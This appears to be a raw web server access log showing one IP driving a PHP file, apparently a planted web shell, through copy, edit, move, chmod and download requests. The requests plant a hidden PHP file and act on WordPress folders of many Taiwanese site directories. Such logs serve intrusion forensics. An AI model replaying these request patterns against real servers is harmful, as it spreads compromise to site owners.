45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 59736 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?edit=thoms.php&p=bossini.com.tw HTTP/1.1" 200 56168 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 12855 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 16435 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17916 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17923 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 12330 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18066 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22143 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18065 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 12320 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11423 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=wp-content HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22139 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11414 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /bossini.com.tw/upgrade/.686359038081706.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /bossini.com.tw/upgrade/index.php HTTP/1.1" 200 6734 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade%2Ferror_log&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade%2Ferror_log&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:46 -0400] "GET /thoms.php?dl=txets.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14170 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?chmod=.686359038081706.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.686359038081706.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?dl=postnews.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14172 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14160 "https://163.245.207.76:443/thoms.php?chmod=.686359038081706.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
